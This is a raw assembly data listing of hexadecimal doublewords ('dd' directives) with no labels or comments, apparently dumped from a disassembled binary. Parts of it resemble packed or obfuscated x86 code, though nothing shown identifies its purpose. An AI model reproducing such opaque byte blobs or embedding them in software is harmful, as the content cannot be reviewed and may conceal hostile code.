8B085D18h, 0EADE8FC3h, 66EC0D51h, 1B813CAFh, 7A20DBCEh dd 622C9D38h, 3BA0DE4Ch, 2B0B5816h, 71317592h, 36A73179h dd 38000009h, 519804CBh, 0F138A45Dh, 0DDC4001h, 0A871EB9Eh dd 0B517953Ah, 0D479672Dh, 720F8148h, 1FAE1FEAh, 0BE49BC8Dh dd 8D236B2Eh, 180086E2h, 0C037115Eh, 956C32CDh, 60C36722h dd 9F12CDD0h, 752478E4h, 90A1C584h, 0A84A5C1Ah, 0D815D87Ah dd 0A7000001h, 0B0BF1155h, 1011B591h, 23964FC3h, 916C7355h dd 8FD411B5h, 5CD96A5Ah, 7F733A06h, 1D91A0C6h, 0B636D1C4h dd 531CB2F6h, 9111B591h, 0B2C3621Fh, 0EE5F7E3Ch, 0A9B668ACh dd 0F211B591h, 0B59113DCh, 0FF26AF11h, 8401BA2Eh, 5F0E420Eh dd 7786DC71h, 0A1A5DDE3h, 0C2130FF0h, 0C321329Ch, 0E97717FAh dd 0D42086D4h, 0A677DEBFh, 2ECF9338h, 5CE8A8h, 55DA0000h dd 0E3003411h, 0B23ADAB0h, 0B59FD59Ah, 56186D11h, 0B59F6F70h dd 0C82D311h, 0BCFE4F4Eh, 0F0AC0C1Ah, 7D21B20Fh, 0FAA68053h dd 0B6554617h, 0BEAB19F0h, 56E7BB50h, 77A995C9h, 17FAA468h dd 98188BD8h, 0C35D1285h, 0BB06E0BAh, 195DDEBFh, 0FA98B8A7h dd 77FB0817h, 0DB07h, 0CDC0B500h, 0FBC2EFFh, 0EDF2DA5Bh dd 5511B591h, 58EDDB00h, 0C02E87DBh, 0FAA06553h, 78BCFE7Bh dd 0B5919946h, 92DC2911h, 0B591333Ch, 0F0468F11h, 17855498h dd 800DB62Ah, 0BD135BDAh, 11B591B2h, 9871C50Eh, 6E715725h dd 0D211B591h, 45AE7D9h, 0B7EB68F5h, 0CC50EBDEh, 0B5A6E08Ah dd 0AB52811h, 0C5AA0C40h, 7D11B5BCh, 4C133E8h, 7B52108Eh dd 3E641F92h, 0C6F8B23Fh, 0FFD5AE4h, 0A0490152h, 0CDD9D32h dd 0BABBEF98h dd 614F9A34h, 4B898AACh, 46C26AE9h, 78010h, 0CA816E00h dd 6A138752h, 16B727F2h, 0B1544396h, 5BF0DE2Bh, 9D770FC1h dd 37029A2Fh, 55A438C5h, 0F247A564h, 0A1D844FFh, 88984779h dd 0DF281800h, 3DD2C0F9h, 0D887397Dh, 6811B591h, 30F9971Bh dd 0A49A02BDh, 7832CDC0h, 91DD8224h, 486511B5h, 41F0B659h dd 2A164EC4h, 7FF39203h, 148833A6h, 30198950h, 0DF8300BFh dd 68F59606h, 232D4E2h, 5B3E0000h, 6C198B62h, 51770736h dd 11B5918Eh, 6A24A132h, 0F0A20EB4h, 75BA80Fh, 0FAC48A59h dd 3D40C017h, 0BFD9891Dh, 1D4D2DEh, 37E00000h, 11B59125h dd 0A0EA5B72h, 0FE64CC0Eh, 51196A0Fh, 0C8691688h, 0E0D9C2F7h dd 703CB26Bh, 118B36A9h, 742AD5C8h, 64368706h, 0F9887920h dd 93BF6B75h, 0EC79163Bh, 316BCFCAh, 5A7C8C71h, 6A1h, 33A9604Dh dd 0D349F2E6h, 77F59606h, 0C9033A2h, 0A23ACF3Dh, 0EFC9820h dd 0A416E379h, 43B485E7h, 0DED11884h, 5EC0B923h, 897778h dd 9ABECB18h, 7B6ACDC0h, 0BE174BC8h, 19EAB04Bh, 0C83BF60Fh dd 0E1C5AF3Dh, 0BAD87AA8h, 146h, 0D39C3276h, 6F11B585h dd 32BF4CBEh, 0CDC08EBCh, 22956C32h, 9606D767h, 0A80B1F5h dd 4EFFDE94h, 0A258AA0Ch, 95DE0FF0h, 0E5A214C5h, 0BC973991h dd 9217FAC4h, 78216F76h, 9D32A087h, 27AB28C9h, 0BFD57571h dd 322EDEh, 559C0000h, 0FE741384h, 1F019BCh, 5241184Eh dd 0CD4AEBBFh, 9D1AA518h, 9EABFBDDh, 0C0150FF0h, 981F349Ah dd 0EB7517FAh, 0AD1E88D2h, 0B879DEBFh, 4B000000h, 0D9FFCDC0h dd 11B59116h, 91806F41h, 0B3C011B5h, 2046C310h, 0E4B65B49h dd 5F337949h, 74FAA310h, 3A9CD01Ch, 11B65735h, 1BF2788Dh dd 0F0491DA8h, 0F8DA42FDh, 11B69602h, 8174D7CAh, 7A5CA0C6h dd 11B6AA75h, 0BE3BB8CDh, 0F445402Eh, 492604BAh, 43900FFEh dd 0D370620Bh, 0A4E86E8Fh, 0DA4207F5h, 0CAECA10Fh, 6AEA39D5h dd 6A6472B6h, 4000005h, 9D6CF097h, 3D0C9029h, 59A03CCDh dd 0F445A76Ah, 79DB4106h, 8045B361h, 2EDBCD1Ch, 0CB7A6BBEh dd 6A158851h, 0B11797F2h, 18008AAEh, 0C0C3C512h, 5AAF3DD2h dd 6C40DC67h, 0E9BD4CBDh, 913C2385h, 7F8411B5h, 0C04E7CF2h dd 0B17832CDh, 560E843Dh, 0EB710CFFh, 33E1h, 0CDC02300h dd 59006C32h, 720BFF6Ah, 0DA800D2Ch, 8B7ED75Bh, 0E0D3AAF0h dd 39A80125h, 0E173D096h, 81D779DCh, 0EB4E417Ch, 0E7164CF9h dd 1BC8029Ah, 0A000000h, 6C32CDC0h, 61F82500h, 0BFB0E5D6h dd 2A3D153Bh, 62411B6h, 36D1C4FFh, 0CDC088B6h, 25006C32h dd 41B3B711h, 0C3662384h, 21E4D65Ch, 0C0F8DE90h, 20FFE86h dd 0FDF0B9F1h, 9C0FDA42h, 5E7FBDE1h, 8E09AFEFh, 32164973h dd 0CCC0E9A1h, 40CD786Bh, 0C49A2B9Bh, 2CFDA135h, 4B9E0EB9h dd 0BBF9AD58h, 4EFBB302h, 0A29A7BB6h, 0B0FC72EFh, 8609001Eh dd 0D35BE1Ch, 777BE214h, 5EB52367h, 10000004h, 0A970ECA3h dd 0C9108C35h, 65B428D9h, 8049D376h, 6DEF7D12h, 0BC51BF55h dd 5AE7D920h, 0C78677C2h, 66219465h, 0A51B8306h, 18008BBAh dd 55DFF906h, 0E0761184h, 910BB629h, 0F4AA5548h, 4B1FAA1Dh dd 9A5568F8h, 0A6009C27h, 0D87AA840h, 3D1Bh, 625BA900h dd 52259BD3h, 0EE0FF0C3h, 0DF6976A8h, 9C3217FAh, 17FADFD3h dd 36BFE66Fh, 0C738E1A9h, 0AFA2A438h, 7917FAE1h, 9861FB86h dd 0FEC29827h, 84E4D253h, 0BD316FC3h, 3D09Bh, 0CDC0E500h dd 22956C32h, 6EAF0567h, 0C9399FDFh, 6F0FF0A1h, 0E1582BC2h dd 20ADFFD3h, 0F97F547Ah, 95D517FAh, 6B148851h, 49160637h dd 0F917FAF7h, 6164E66Ch, 0C00AAD39h, 3CF6DEh, 5BC40000h dd 0AE9BD362h, 5D8B7B45h, 5F0397D9h, 0F14C2D79h, 1C42930Fh dd 2E2975D0h, 95579FE7h, 61243F01h, 0EE7A17FBh, 762383D7h dd 3C70DEC0h, 0FB53D59Ah, 92186D17h, 11D22h, 0F8559000h dd 696932A7h, 0EC74B31h, 76BAE09Bh, 0DCA91ADBh, 0CC641074h dd 7A348C57h, 568F0380h, 7BA88768h, 61718766h, 0F4E7BEE4h dd 64580149h, 0E07687DBh, 23DED1A8h, 0B6C387B9h, 5A9E11B5h dd 0B5AC7B64h, 0A79AC711h, 0BE12D1Fh, 11C84ECBh, 2579E39Eh dd 0D120CFE1h, 53A011B5h, 0E86E1D8Eh, 5F03BE31h, 4109B81Dh dd 0DE695C0Dh, 0DBE56988h, 0FF0E547h, 0AAF864F1h, 0C1E8A213h dd 0CC6D31D0h, 8CA41A46h, 0DD164299h, 0B3382799h, 23881E42h dd 0AD4C12B3h, 7B0AFB20h, 5B1360F7h, 0CA22492h, 1E42B363h dd 2CDFCEDFh, 26C9EFAFh, 9A1E42B3h, 8950CC49h, 2B4C761Bh dd 50712E90h, 297FED8h, 6A570000h, 0FCF039A3h, 0A010D943h dd 3DAC7DEFh, 0D9C7128Ah, 8E16A834h, 0E9731886h, 8B11AE20h dd 2EBE4DBEh, 0CF5DE8DBh, 816E40CAh, 0C118008Dh, 845590B0h dd 27FE7413h, 0EF5A14B9h, 0FFD1EE16h, 11B5F5F0h, 8AA20350h dd 9E307ADAh, 11B619D1h, 0F06EE471h, 6553B629h, 0FE7BFAA0h dd 625B706Eh, 0F1259BD3h, 4F0FF09Dh, 33A57406h, 0AD21D096h dd 97F8EBF5h, 0B2AE17FAh, 0ACF7EFABh, 0B9A0DEBFh, 12000000h dd 6C32CDC0h, 0D9685900h, 5807B985h, 0E811B591h, 41981E9Bh dd 0E6E8BE53h, 11B59FE4h, 9E0EB92Ch, 0E29B0FDEh, 956976A8h dd 8CD911B5h, 21DCCF06h, 2F9E3F7Dh, 0CA7E2B6Fh, 26C9EFF3h dd 9A11B5F2h, 0B32EE849h, 0F4AEB006h, 420FF14Eh, 0C0C5AB31h dd 8E0BB629h, 575EACCh, 0B261643h, 0C1967B7h, 0C790E610h dd 0D653F8E6h, 7AE7D584h, 0E07CF98Ah, 3CE6AB19h, 712EE1C1h dd 96785EAAh, 58000001h, 0F138A46Bh, 11D844FDh, 0AD7CE0A1h dd 0C8118B3Eh, 15B735DAh, 7419878Dh, 12AF21E8h, 0BF4EBF8Ah dd 5EE9DC2Dh, 6D43CBCEh, 18008E82h, 0C097B13Eh, 5AAF3DD2h dd 1240DC67h, 6C32CDC0h, 0D7672295h, 7EF49706h, 0D6A619E0h dd 0B591EFF0h, 85025311h, 0D8CC9DE1h, 0D15AFF0Bh, 0B431285Fh dd 89CB4FEEh, 0DBFDBD0Ch, 0FF0D0B7h, 39AEF401h, 2FFEA6BFh dd 0DA5B0FBEh, 0DECF1879h, 0B43AC252h, 4DDF6A5Dh, 4717A667h dd 0C5992296h, 0DCF2BE34h, 1635DD72h, 0AE387CCh, 0ACB6EC97h dd 0A667374Eh, 28964717h, 0B83E3F63h, 76CD2F4h, 81D21C7Bh dd 13AC20C9h, 0CAECAE4Fh, 24851B25h, 4CC2489Dh, 2B7F0AFDh dd 0FCA26152h, 2C7489CBh, 8F5FBDE8h, 621A882Dh, 84FFA54Ah dd 13C81D24h, 0B66FE3A2h, 4024B843h, 13672A99h, 85D564A1h dd 0C022DF23h, 560C5922h, 2D710CFFh, 73233ABAh, 0DA3EB5Ah dd 29054005h, 0FABA22B3h, 0B105C033h, 337BCAC3h, 0CCBA2EFFh dd 0F3B05EAh, 0AB28BD31h, 0EEF046F7h, 2F580FD2h, 0E6BFE370h dd 570648F3h, 0AEB11763h, 12375A29h, 50CE44C1h, 376B1689h dd 0F3B33AA9h, 586DF309h, 0DF9F2A9Dh, 22E1D29Bh, 10DFFD7Ch dd 0B06453B1h, 7F0CFE23h, 0A840A2Bh, 7931CC3Fh, 0DF833CB0h dd 2980D85Eh, 145317BAh, 9B0EC9DCh, 98D334C4h, 8B399A25h dd 56186564h, 35691487h, 0C9108E04h, 61772BD6h, 0Dh, 5E0F6FA3h dd 990ADF6Ch, 3185B4EAh, 3CD3C033h, 611C8F66h, 0D473643Dh dd 38C5378Eh, 681D8B62h, 0D86D5B32h, 9BC2B82h, 7B0CFC55h dd 0A15A4E27h, 895376FDh, 4C381E3h, 83000000h, 1C8704EBh dd 24248B24h, 5E08950h, 4, 42Dh, 24048700h, 241C895Ch dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 68512404h dd 11BC3E2Eh, 41D1F759h, 6B73E981h dd 0E9810B4Ah, 0DCAE67EDh, 0C8BCB89h, 4C48124h, 54000000h dd 8124048Bh, 4C4h, 0DD895500h, 8B951h, 0C1010000h, 5D592989h dd 5724048Bh, 0C781E789h, 4, 4C781h, 3C870000h, 1C8B5C24h dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 7DE3E95Ch dd 3B98FFFAh, 53B86BA5h, 3064AFFh, 0C6E0FFC5h, 0A3395C88h dd 136F9968h, 0C6374751h, 8722FA54h, 8423C74Ch, 0E806CDEAh dd 0Bh, 0EB28E8A5h, 1ED3D5E9h, 6616D990h, 6A42D381h, 1E8F0F59h dd 0F000000h, 1882h, 13E900h, 7CC50000h, 73C413C9h, 3B021BBAh dd 83F5B507h, 5BE3673Fh, 7AC18112h, 0E9000059h, 0Ch, 0EFC43F2Ah dd 9ABCF87Ah, 2DED109Bh, 1627BAh, 0F9BF0F00h, 0D781018Bh dd 1371F93Ah, 1107C081h, 8C0F1C3Ch, 0 dd 0E709C081h, 0FE8A2AD4h, 46F2E881h, 8E868B0h, 3E000000h dd 3B29F313h, 0F47BD64h, 895BDEBFh, 8A606001h, 0D2BF0FCFh dd 0E9816161h, 446FDBB1h, 3015BE66h, 0DBADC181h, 0EA83446Fh dd 1E850F01h, 0F000000h, 88h, 2CE900h, 8C490000h, 4EA5F4ABh dd 65B57747h, 4552DA5Ch, 58632CE6h, 85E9F531h, 33FFFFFFh dd 3B745AAFh, 59062301h, 7B240102h, 0F66CA3F9h, 8D8D1D9Fh dd 64B01EEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0DFC35545h, 2A018D89h, 0F600645h, 28Ah, 89616000h dd 45050195h, 85C76106h, 64503D5h, 65C8h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ch, 77C35747h, 0F2F34674h dd 0D5B1D146h, 95D85C7h, 645h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 191996C3h dd 47A2F54Ah, 0F3FD91Bh, 680h, 0A1B58B00h, 0FF06450Bh dd 4510ADB5h, 0CE906h, 6470000h, 1B0F4575h, 63FA0301h dd 95FF3E0Eh, 6452A11h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0A7C35242h, 4ABE3BBBh, 664EFAF4h, 6AC38Bh dd 312195FFh, 0C08B0645h, 0CD495CEBh, 0E3078900h, 0FB4977BBh dd 46A79412h, 0E216407Ch, 6F352B51h, 0FED67E74h, 283E9696h dd 28D71151h, 5737D8A0h, 54394C70h, 0F23C51ADh, 0B0CE3709h dd 1BF6D064h, 6DAEFE9Eh, 6EE7ADFAh, 0E3A099BDh, 0DE7A4D62h dd 424068A6h, 6A8AE709h, 9047214Bh, 1F8F5A8h, 20078042h dd 0CE83A3Fh, 0D4000000h, 87C9F86Dh, 0FC9A7F91h, 8BFEAA87h dd 450119B5h, 8F0F5906h, 6, 4A9B533h, 0C1810645h, 6404h dd 14E9h, 159F7E00h, 0EDB50FFFh, 0A17723C0h, 829D9C85h dd 4CAF356Bh, 54F2BBAEh, 0C3815032h, 0AFCDC3E1h, 63B4A4BFh dd 0E9018B63h, 7, 0CA64B211h, 81788360h, 60C10E8h, 8E6FBE45h dd 0E881095Fh, 6D63BAD3h, 3D6CA5BEh, 6BE88171h, 0F42AFB9h dd 681h, 0F58D8900h, 50064524h, 0CCDBE66h, 0E981018Fh dd 58E6CAEFh, 48E0Fh, 0BE660000h, 0C181C2CDh, 58E6CAEBh dd 7E9h, 3D2A4D00h, 0CA8A47ABh, 0F01EB83h, 0FFFF9885h dd 9BD8BFFh, 0EB064518h, 9E7D0079h, 0E2218CEFh, 0ABAFD60Fh dd 4DB2979Fh, 95B7E37Ch, 0A9E57200h, 0B69CB5E9h, 0F377609Bh dd 0B794A9B6h, 60D7609Eh, 0A9BD897Dh, 9EBD8C9Eh, 95ACE372h dd 0B98B204Ah, 89937E9Bh, 0F496B99Dh, 0A19E96AFh, 0A7D6B594h dd 0D100FD91h, 594ACC48h, 713C33h, 57DB4D52h, 0B7D65EF3h dd 0F600B79Bh, 8995ABAFh, 56F0009Fh, 0B3D7C771h, 711800BEh dd 0ADC4D756h, 8A7D73E2h, 3FE95251h, 6800000Fh, 64B0540h dd 0FA7A40E9h, 62B68FFh, 36E9064Bh, 68FFFA7Ah, 64B0705h dd 0FA7A2CE9h, 86968FFh, 22E9064Bh, 68FFFA7Ah, 64B08E2h dd 0FA7A18E9h, 99F68FFh, 0EE9064Bh, 68FFFA7Ah, 64B0A51h dd 0FA7A04E9h, 0B0768FFh, 0FAE9064Bh, 68FFFA79h, 64B0BC2h dd 0FA79F0E9h, 0C8E68FFh, 0E6E9064Bh, 68FFFA79h, 64B0DDFh dd 0FA79DCE9h, 108168FFh, 0D2E9064Bh, 68FFFA79h, 64B1147h dd 0FA79C8E9h, 2EE5D2FFh, 0CE776BBEh, 6A1B8B5Eh, 15B827F2h dd 0BF544297h, 113AB2Dh, 9B6EFE93h, 39009C29h, 56A339C8h dd 4544D863h, 95FCE3C5h, 3B441800h, 32CDC01Dh, 6559006Ch dd 0CE7786DCh, 8041288Bh, 25FC72D0h, 0DF9517B2h, 0E6A717FEh dd 0B09DD199h, 25EF2331h, 0A58B0FF1h, 0FF0E94Dh, 79EBEEBh dd 0DA760A52h, 8C47095Dh, 0C217FAA6h, 24DDD198h, 0E97BFF7Eh dd 0B72086D4h, 297BDEBFh, 49000000h, 9BD3625Bh, 0F09DF125h dd 60064F0Fh, 0FA97657Eh, 182D3B17h, 0BFA2DD48h, 0D93DD3A8h dd 0F3836355h, 0C1DCDEBFh, 0EE000000h, 6C32CDC0h, 3C622795h dd 93D77265h, 0A03CC73Ah, 0B59FACAEh, 0C6817411h, 3D209366h dd 0EFB330C9h, 86694F83h, 3A11B595h, 567725A9h, 4A1357E7h dd 0E08FAD56h, 6011B595h, 0FDD39F13h, 0FF094E9h, 632D91BCh dd 540C5EA3h, 0A2EC79DEh, 8CCD687h, 0AC2271CAh, 37AB7232h dd 734A088Eh, 0B11688C2h, 0FA1642B3h, 6006BF33h, 69FA5DD1h dd 0C58A7821h, 54F3E4B5h, 0F56BEF0Eh, 3111B624h, 712E7D34h dd 0D91543C7h, 8000000Ch, 19E07C13h, 0B9801CA5h, 0D524B849h dd 70B923E6h, 0FD5FCD82h, 0CC12FE5h, 0AA574990h, 57F6E732h dd 0F69104D5h, 35EB1376h, 1800962Ah, 0C04F4996h, 5AAF3DD2h dd 1240DC67h, 74138455h, 0C98B0F2Eh, 9B3D7DCCh, 0FF09E8Bh dd 0B6FAA035h, 0F9C8F79Bh, 0A71A75B0h, 2AB7461Ch, 26C99AA4h dd 819F17FBh, 3BC8DE7Ch, 5B9FDEC0h, 0FB187A65h, 39BDC617h dd 0C479h, 0CDC04B00h, 25006C32h, 9A1BE7C5h, 1BF27815h dd 1C4218ADh, 11B6123Eh, 0F4681386h, 5317B225h, 0BF4CBE6Fh dd 96C44AEBh, 0B0F48637h, 0C549F8E9h, 0F107EBFBh, 9C00550Fh dd 80686DD8h, 0EAAAF666h, 9AE9AAAh, 1066E30Dh, 90DA6BA2h dd 429F8A3Eh, 0E3AB3816h, 715FCC3Ah, 7CCD5FDCh, 1E0ADD8Eh dd 0E9BD4ABCh, 0A3D4EF48h, 3A7151DEh, 0B1712EDBh, 0BEE5F79h dd 0FEEB0000h, 9004D557h, 34A475F7h, 0D1C00993h, 6D5BAE3Eh dd 0FA8244D8h, 85E7AC1Ah, 278542B4h, 0BA22E1D2h, 5BC17C6Fh dd 15DAFC3Eh, 0AD180097h, 0D2C0645Ch, 8FD37665h, 3B7BE16Eh dd 0E0264AE7h, 635691EAh, 0B5B3A649h, 45C91A11h, 0FE6E198Ch dd 32CDC0C0h, 6722956Ch, 4B6DA105h, 11B591A4h, 6D208F1Ch dd 43B36AE0h, 12B4C882h, 11B5914Dh, 366C198Bh, 0C3579C07h dd 4BF328Bh, 0CF90364Ah, 7311B591h, 91E6892Fh, 95A11B5h dd 0FB88068Ch, 0EB5A73FCh, 897D0DA3h, 0AA3B0FF0h, 0BAE9F987h dd 13AA1F84h, 8554E8A2h, 0DCE26811h, 0DBFEAC2h, 4FB3F77Ch dd 0ACA950Bh, 0ED7615CAh, 23922B69h, 6358B56Bh, 9FE41412h dd 0E09B0EDFh, 8F3AAD7Ch, 0FE338EA7h, 9B3D4D6Eh, 0B14h dd 0AB31D8C5h, 4BD16A5Eh, 0EF7D0EFEh, 8418AB1Ah, 1A8247B5h dd 867420B8h, 1C8E5BC1h, 0BB2CFD6Fh, 5649900Ch, 0D65831ABh dd 98EFF0h, 2065318h, 7832CDC0h, 0C823FB1h, 16A76654h dd 65590044h, 91B0BF11h, 0C31011B5h, 9D112046h, 0F0B037B3h dd 0E874810Fh, 0F8B203BAh, 35CE38C6h, 297D8616h, 3FCCACA7h dd 5F66E21Eh, 4E1AB3Bh, 0BF31F8E5h, 68CC8C02h, 80000000h dd 0BE856A4Ch, 0A83D1E3Fh, 625B0022h, 0DED29BD3h, 0A9EDD125h dd 91ACB315h, 0CF1411B5h, 0C392654Bh, 14C50FF0h, 0B243E7A0h dd 4A9B3Ch, 12816859h, 686AF27Fh, 17FAE179h, 0E89507D6h dd 0F39C1D4Fh, 49CD8137h, 28621D90h, 0ABFF9201h, 0A465558Ah dd 65FB7FFEh, 999A2401h, 0FAA8123Eh, 9D2C9D74h, 0A368FC9h dd 5BF10000h, 0D29BD362h, 2936E8DEh, 9911B591h, 9A9BCF4Ch dd 85B8CF39h, 79FD6303h, 25419335h, 0DC100FFFh, 11BF5FAh dd 0B2384D18h, 0CF9ED025h, 0FBBB21DCh, 5F03C032h, 0E8158DEh dd 0C8CD2F73h, 0D29F3179h, 62164A28h, 1D905911h, 0BC2FFA62h dd 1F05EACCh, 28BD1E4Ch, 9E8BF7ABh, 7B5BEC95h, 0E7D559B0h dd 3B30B326h, 0D3A6D9E6h, 67550456h, 0F97DFCA2h, 0D0FB13B5h dd 30451C86h, 7C7C3516h, 1442C677h, 9B0h, 17953CA9h, 0B735CEC2h dd 4BD17262h, 0E07C0FFEh, 86E6AB19h, 0EAD8BCC4h, 8072C725h dd 1F9059C3h dd 0BA2DFC60h, 0B2FC9D0Fh, 99531Ch, 0A662EF18h, 0B5931C37h dd 0ED5C7911h, 9E6E0BADh, 0E5C60FFEh, 0ED9C0DF4h, 673BB8B9h dd 580149D6h, 6242DA65h, 94E7882Eh, 0A5B1800h, 0AF5A4D84h dd 0F51CB9FBh, 11204603h, 86E4DA94h, 30163BB3h, 770E83A3h dd 0CD5D7131h, 9378Bh, 1EB52200h, 0BE47BB8Eh, 5AEBDB2Eh dd 0C58877C2h, 6F249267h, 51435BFDh, 0EB3EAE63h, 9D04CF9h dd 0A673E998h, 75148833h, 99CC9335h, 0EB741800h, 32CDC02Dh dd 7A34CD78h, 0C812AB1Ah, 0B5F909D6h, 0AF2CB911h, 279A732Bh dd 7C6FC69Ch, 0D0C49DC1h, 80907337h, 0D36D1A7Dh, 0C1690CAh dd 0D141D87Bh, 73000003h, 9BD3625Bh, 0FE9E5825h, 0D5C7E40Fh dd 2A9B7228h, 0A936C79Bh, 48BB622Ch, 0E7DA2FBDh, 3AAE9104h dd 0DF5CDD81h, 0C02D1852h, 7EA40E01h, 0C08EC64Ch, 18009D13h dd 0B0FA4B42h, 0C248F9E9h, 0B9C2389Eh, 0CE9F163Bh, 0EA92DDEh dd 0C79B2E9Dh, 0A89A936h, 7171317Dh, 87A9F39h, 725F0000h dd 4F841DBh, 0A818E17Bh, 45B485E7h, 0E1CF1A82h, 861EB02Ch dd 0F16B208Eh, 9309B628h, 36B65546h, 0D755F0E3h, 895648B2h dd 3918009Ah, 0CDC0E8A8h, 0B2CD7832h, 98198D3h, 0D6AFE76Bh dd 30258E3h, 0B9603035h, 4036BC45h, 0D87B2366h, 32331h dd 11558300h, 0B591B0BFh, 4FC31011h, 0B5937261h, 5BEA2311h dd 5B163613h, 0F2F65CAh, 56E1C78Bh, 0EA0FFEA4h, 0B874D199h dd 0F5687864h, 65A068Ch, 47288EC2h, 0FB1800DCh, 0DC9D426Ah dd 0D0251800h, 7510835Ah, 14AF22F7h, 18A96C4Eh, 0FAFA7056h dd 37BC163Bh, 31BE8E0Fh, 2BADFD71h, 7C8h, 0FF6D2491h, 9F0DB62Ah dd 33A95A4Ah, 0C854F7E6h, 6EFE9301h, 0D2C0D4ECh, 685AAF3Dh dd 7F841DBh, 0A215E478h, 9A0485E7h, 9B3B24h, 5E7A8718h dd 7832CDC0h, 29A540B1h, 0E7E7A75Ch, 0EB0A50DDh, 63562F67h dd 0EEACB315h, 0CF1411B5h, 57451C42h, 0A615ECB2h, 0C808BFE3h dd 0C55522B5h, 0EE402F81h, 738011B5h, 2586DFFh, 0D87B01A4h dd 253FFh, 1C37CD00h, 7911B593h, 0BADED5Ch, 0FFE9EC3h dd 0F7A6E87Dh, 11B02104h, 0BD2FAC4Dh, 98CE796Ch, 4DF6635Ah dd 0ABB46AFAh, 17180100h, 1D7665CEh, 5BBF370h, 163BFE95h dd 0FFF0D223h, 4C7131A9h, 7129A3Ch, 0DAC70000h, 6C60A933h dd 108049D3h, 0AD1CED7Fh, 49B7821Ah, 1EA61884h, 59C38876h dd 0FB611E90h, 9E0EBD2Eh, 3FAD584Bh, 0F1FED05Ah, 5118009Ch dd 0CDC00000h, 22956C32h, 0E60C367h, 16866F5Fh, 0E062E875h dd 0D9AF22DDh, 0B591F8E7h, 4C73611h, 0EF74DF5Eh, 8FBAFA62h dd 0C088CF46h, 89D410A0h, 48E07C0Ch, 951147CBh, 0CED87B50h dd 7, 19A3FFCh, 37010000h, 11B59126h, 0A3EB5A73h, 0FE9EC60Dh dd 0DDD0990Fh, 79FD7C22h, 14C595DEh, 0B386E6A1h, 5DECDD40h dd 0C133E809h, 52DF5E04h, 6EF2E0Ch, 82B3F794h, 0C7537505h dd 71163BB6h, 6137C2E4h, 0E4247131h, 657F2h, 0FE950200h dd 9E279B6Eh, 3ACB3B0Eh, 0A56857A2h, 4F04F247h, 0B1637BDDh dd 0CB1E8E43h, 69B02CD9h, 8653C978h, 95F46813h, 9CACB315h dd 0CB141800h, 32CDC0CDh, 4322956Ch, 0D81BB545h, 117F1E1Bh dd 6FDF854Dh, 68C165E2h, 3891D57Ah, 86307C8h, 0BA2AE5F8h dd 0C35D8C09h, 0D3C3EABAh, 64CD6C32h, 0B90FE949h, 66BF33A5h dd 1A54C873h, 0D87B8B8Ch, 6D4387DBh, 11B66882h, 0D887B53Eh dd 6811B668h, 68EFF0D6h, 25311B6h, 7413185h, 73000000h dd 0BF3Fh, 25370100h, 7211B591h, 0EA0EA5Bh, 0FFE9ECEh dd 8657E76Ch, 77266813h, 93A2F885h, 45B8811Fh, 3796E4BAh dd 48D2F486h, 0EE163BB6h, 61BEBD65h, 5DAD7131h, 58B7Bh dd 0AA614E00h, 4AF3E732h, 0F69707D2h, 9134A376h, 3BD03E0Bh dd 0FD972FA1h, 17E27A0Fh, 0B58418A5h, 0D2278544h, 0C1B824DFh dd 9D786759h, 0BFC81800h, 32CDC099h, 6722956Ch, 0E89306D7h dd 11592A62h, 9124734h, 0AC1DEFABh, 881A901Dh, 0BC47BA75h dd 0FD604620h, 73BD87Ah, 89000000h, 273Fh, 0CDC00100h dd 0A4492816h, 0FB916F3Fh, 543EF1E3h, 1C8E53D0h, 0E5BCE26Fh dd 0C91357F2h, 645792ABh, 240943D9h, 4B000000h, 6C32CDC0h dd 0B5937062h, 324B1911h, 7347BB62h, 0B591925Dh, 58A52E11h dd 0A5887BD2h, 21D09633h, 0C01A38A4h, 0E6C32CDh, 0D675668Fh dd 0AAE46190h, 0FE9EE074h, 5B7DB10Fh, 18009494h, 700DFF2Ch dd 88E0B2Ah, 451426AFh, 7135B752h, 0D48A35A8h, 8578D125h dd 0D1952EA2h, 0C2EBA320h, 0E6BE34CFh, 22E3D39Ah, 9E2FEEACh dd 2AAD71DCh, 0D2E9E063h, 0B3BE105Ch, 31649FDh, 2064B8F2h dd 0F325CAECh, 489D1E4Bh, 4BF37B64h, 38BEC71Eh, 377EEE1h dd 0B13D3D86h, 0AC5A7AF3h, 388566EFh, 0E5D821BBh, 1067DC7Eh dd 0D451D77Bh, 0D869AC8Eh, 60DE3096h, 778B1C87h, 915C8E51h dd 2DA13224h, 0A859798Ah, 0F3777D0Bh, 43A21B7h, 0B21F0000h dd 44B8811Bh, 0E8D821BBh, 8574C527h, 218F5AC2h, 465EF06Ch dd 31AB604Eh, 0D349F6E8h, 76F69506h, 179530A3h, 0C9960872h dd 7918009Eh, 0CDC028E8h, 6C5FAA32h, 91B5BA1Ch, 0F80D11B5h dd 7B6A337Bh, 0E5621D90h, 0B1F53991h, 0B591501Fh, 0EF63F011h dd 6238C336h, 0B36E7781h, 89564840h, 3911B591h, 0BE6F2FACh dd 7668BD4Eh, 0E1CB45C9h, 0D87AA805h, 4B5Eh, 625B6C00h dd 0DBAE9BD3h, 3B87F1E4h, 0B2554499h, 0A95E703Ch, 0F20FF0CFh dd 0CC3D1257h, 0BE34CE60h, 0DB82CC19h, 8FC15BEAh, 17FAD3D2h dd 5C1EA91Ch, 0B96E1B8Dh, 53E2B849h, 0BC6D41DFh, 0DD34BA4Dh dd 0F39605ECh, 79A63076h, 0E8000003h, 9BD3625Bh, 917E6147h dd 7CC211B5h, 0B591955Ah, 5BD82D11h, 3935EBD7h, 6C0FF0B1h dd 35295FC1h, 0D327674Dh, 8934A704h, 0CFF560Ch, 0D2741C55h dd 0A9701BDh, 55688E54h, 65358401h, 3617AB43h, 5CC01516h dd 62625118h, 4017A34Ch, 49D61F1Eh, 0D03FE415h, 0C2FBB93Dh dd 0E9853B73h, 571C7B37h, 2E9D4C0Eh, 0A036C79Bh, 0EEA311E8h dd 0B0B50FB8h, 7D532FEEh, 24853772h, 895648CEh, 39248537h dd 4A862FACh, 8AEF8626h, 0ECC28C09h, 22C0B012h, 0C2AD0347h dd 7E2ACAB0h, 8DD661F5h, 74D7CA1Fh, 0E132E380h, 0E06A1424h dd 0B13E3F63h, 0E6A114EDh, 